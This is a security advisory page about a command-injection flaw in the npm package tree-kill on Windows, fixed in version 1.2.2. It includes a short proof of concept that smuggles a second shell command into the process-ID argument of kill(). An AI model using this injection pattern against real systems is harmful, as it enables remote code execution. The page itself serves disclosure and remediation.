Critical

Treekill Enables OS Command Injection

Disclosed: 24.05.2022
Updated: 11.10.2026 10:22

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

bash

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	tree-kill	< 1.2.2	1.2.2

References

CVSS score 9.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-78
Platform: npm
Package: tree-kill
Disclosed: 24.05.2022
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-j7fq-p9q7-5wfv - CC BY 4.0

Vulnerability history: tree-kill

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 09.2020 05.2022
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 1

Disclosures per year

2020: 1
2021: 0
2022: 1
2023: 0
2024: 0
2025: 0
2026: 0

24.05.2022

Treekill Enables OS Command Injection this entry

Critical · 9.8 CVE-2019-15598 < 1.2.2 1.2.2
04.09.2020

Command Injection in tree-kill

High CVE-2019-15599 < 1.2.2 1.2.2

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